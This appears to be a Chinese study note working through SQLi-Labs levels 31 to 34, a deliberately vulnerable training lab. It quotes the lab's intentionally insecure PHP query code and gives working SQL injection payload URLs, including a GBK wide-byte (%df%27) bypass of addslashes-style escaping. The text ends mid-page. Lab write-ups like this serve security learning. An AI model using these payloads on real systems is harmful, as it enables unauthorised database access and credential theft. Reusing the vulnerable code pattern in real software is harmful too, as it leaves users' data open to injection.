SQLi-Labs 学习笔记（Less 31-40）

点击打开链接

Less-31

①先打开网页查看 Welcome Dhakkan

与之前唯一的区别在于：

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

直接构建payload：

http://localhost/sqli-labs-master/Less-31/index.jsp?id=1&id=-2") union select 1,database(),3--+

提示：Less-32,33,34,35,36,37六关全部是针对'和\的过滤

Less-32

①先打开网页查看 Welcome Dhakkan

②查看源代码

Less-32 **Bypass addslashes()**



Welcome    Dhakkan




//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash


    return $string;
}

// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
    echo '';
    echo 'Your Login name:'. $row['username'];
    echo "";
    echo 'Your Password:' .$row['password'];
    echo "";
    }
    else
    {
    echo '';
    print_r(mysql_error());
    echo "";
    }
}
    else { echo "Please input the ID as parameter with numeric value";}



?>

  

  

  

  

  

  

  

  

  

function strToHex($string)  

{  

    $hex='';  

    for ($i=0; $i < strlen($string); $i++)  

    {  

        $hex .= dechex(ord($string[$i]));  

    }  

    return $hex;  

}  

echo "Hint: The Query String you input is escaped as : ".$id ."
";  

echo "The Query String you input in Hex becomes : ".strToHex($id). "
";  

  

?>  

  

   

  

  

我们来看看关键的代码：

$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash

很明显，将 [ /，'，" ]这些三个符号都过滤掉了，那么这里涉及到宽字节注入，先来了解下相关知识（百度）：

原理：mysql在使用GBK编码的时候，会认为两个字符为一个汉字，例如%aa%5c就是一个汉字（前一个ascii码大于128才能到汉字的范围）。我们在过滤 ' 的时候，往往利用的思路是将 ' 转换为 \' （转换的函数或者思路会在每一关遇到的时候介绍）。

因此我们在此想办法将 ' 前面添加的 \ 除掉，一般有两种思路：

1. %df吃掉 \ 具体的原因是urlencode(\') = %5c%27，我们在%5c%27前面添加%df，形成%df%5c%27，而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字，此事%df%5c就是一个汉字，%27则作为一个单独的符号在外面，同时也就达到了我们的目的。

2. 将 \' 中的 \ 过滤掉，例如可以构造 %**%5c%5c%27的情况，后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。

根据上述的代码，我们采用第一种方法，构建payload：

http://localhost/sqli-labs-master/Less-32/?id=-1%df%27union select 1,database(),3--+

Less-33

与之前的Less-22一样，唯一的区别就是：

function check_addslashes($string)
{
    $string= addslashes($string);
    return $string;
}

介绍一些：addslashes()

功能：函数返回在预定义字符之前添加反斜杠的字符串

预定义字符是：

    单引号（'）
    双引号（"）
    反斜杠（\）
    NULL

提示：该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释：默认地，PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes()，因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

Less-34 

①先打开网页查看 Welcome Dhakkan

②查看源代码：

    Less-34- Bypass Add SLASHES



 Welcome   Dhakkan

  

  

  

  

  

   

  

  

  

    Username :      

          

    

    

    

 Password  :